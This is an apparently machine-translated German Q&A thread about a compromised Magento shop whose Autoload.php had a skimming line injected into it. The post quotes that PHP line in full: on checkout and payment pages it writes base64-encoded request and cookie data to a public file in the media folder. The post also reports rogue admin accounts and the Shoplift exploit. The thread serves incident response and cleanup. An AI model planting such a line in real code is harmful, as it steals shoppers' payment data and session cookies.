2015-04-29 16 views
5

Seit heute Morgen erhalte ich den folgenden PHP Hinweis nach dem Magento Cronjob:Mage PHP Notice: Undefined index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php on line 1

undefiniert Index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php auf Linie 1

ich habe keine der Magier-Dateien ändern .. Wie ist das möglich?

EDIT: Für jetzt habe ich die Autoload.php bearbeitet, um zuerst zu überprüfen, ob die REQUEST_URI festgelegt ist.

Original:

<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])) 

Neu:

<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])) 

EDIT 30-04-2015:

Nach @volkan Lesen und @ b.enoit.be Kommentare, die ich sofort ersetzt haben die angegebene Seite mit dem Original von Magento und die Zeile war tatsächlich nicht vorhanden !.

Im Folgenden war die bösartige Linie in Autoload.php

<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> 

ich auch überprüft haben:

  • /js/index.php gleichen wie original
  • /index.php wie das Original
  • Magpleasure_Files ystem Modul vorhanden war nicht

jedoch .. zwei neue Admin-Benutzer waren die obskuren Namen hatte:

Beide Benutzer wurden gelöscht. Die Website war auch anfällig für den Shoplift-Exploit (der im neuesten Security-Patch angesprochen wird)

Wir sind gerade damit beschäftigt, die neuesten Sicherheitspatches zu installieren.

Es scheint, dass dies ein neues Problem ist:

100,000 web shops open to compromise as attackers exploit Magento bug Magento Shoplift Bug Tester v1.0

Dank alle Benutzer für dort Hilfe.

+0

Sie haben die Art, wie Sie den Cronjob auslösen, nicht verändert? Könnte PHP aktualisiert worden sein? Keine Änderungen in der php.ini Datei? – adrien54

+0

Nein, auch nicht. Der Server läuft PHP (5.5.23-1) – StavroX

+1

Dann weiß ich nicht, warum der Fehler zuvor nicht aufgetreten ist, aber der Grund ist wahrscheinlich, dass Sie Ihr PHP-Skript (cron.php) von der Befehlszeile ausführen und nicht der Browser, daher ist diese Servervariable niemals definiert. – adrien54

Antwort

1

Es sieht so aus, als ob Ihre Seite kompromittiert wurde, ersetzen Sie die Datei durch die Originale und installieren Sie die Sicherheitspatches für Magento. Überprüfen Sie, ob es einige neue Admin-Benutzer im Backend sind, und für das Modul Magpleasure_Filesystem

auch zu prüfen /js/index.php /index.php

0

Dies ist definitiv eine kompromittiert Datei.

Wenn jemand anderes auf dasselbe Problem stößt, sollte die Datei media/catalog/product/cache_catalogs ebenfalls gelöscht werden, da sie vertrauliche Daten (Anfragen und Cookies von der Kasse oder Zahlungsseiten) enthält und öffentlich zugänglich ist (in media/ Ordner).